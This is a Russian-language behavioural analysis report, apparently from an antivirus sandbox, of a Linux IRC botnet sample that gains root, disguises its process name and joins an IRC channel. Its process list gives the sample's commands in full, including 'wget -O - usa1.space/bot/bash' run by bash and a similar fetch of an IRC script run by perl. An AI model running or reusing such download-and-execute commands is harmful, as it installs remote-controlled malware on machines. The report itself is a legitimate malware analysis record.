Техническая информация
Вредоносные функции:
Получает привилегии суперпользователя (root)
Подменяет имя приложения на:
- [stats]
Запускает процессы:
- wget -O - usa1.space/bot/bash
- bash
- ps x
- grep stats
- grep -v grep
- wget -O - sistem.work/irc
- perl
- uname -a
- rm -rf ck.log
Пытается завершает следующие процессы:
- killall -9 /usr/bin/perl
Выполняет операции с файловой системой:
Создает или модифицирует файлы:
- /root/ck.log
Удаляет файлы:
- /tmp/ck.log
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
HTTP GET-запросы:
- us##.#pace/bot/bash
- si###m.work/irc
Связывается по протоколу IRC со следующими серверами:
- Server: 13#.#9.45.149; Command: NICK b\n
- Server: 13#.#9.45.149; Command: USER b 19#.#68.208.50 usa1.space :Linux box-amd64 3.16.7-ckt20 #2 SMP Sun Mar 20 12:22:57 MSK 2016 x86_64 GNU/Linux\n\n
- Server: 13#.#9.45.149; Command: NICK b10417-\n
- Server: 13#.#9.45.149; Command: PONG :766CDBCE\n
- Server: 13#.#9.45.149; Command: JOIN #china muietie\n
DNS ASK:
- us##.space
- si##em.work
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
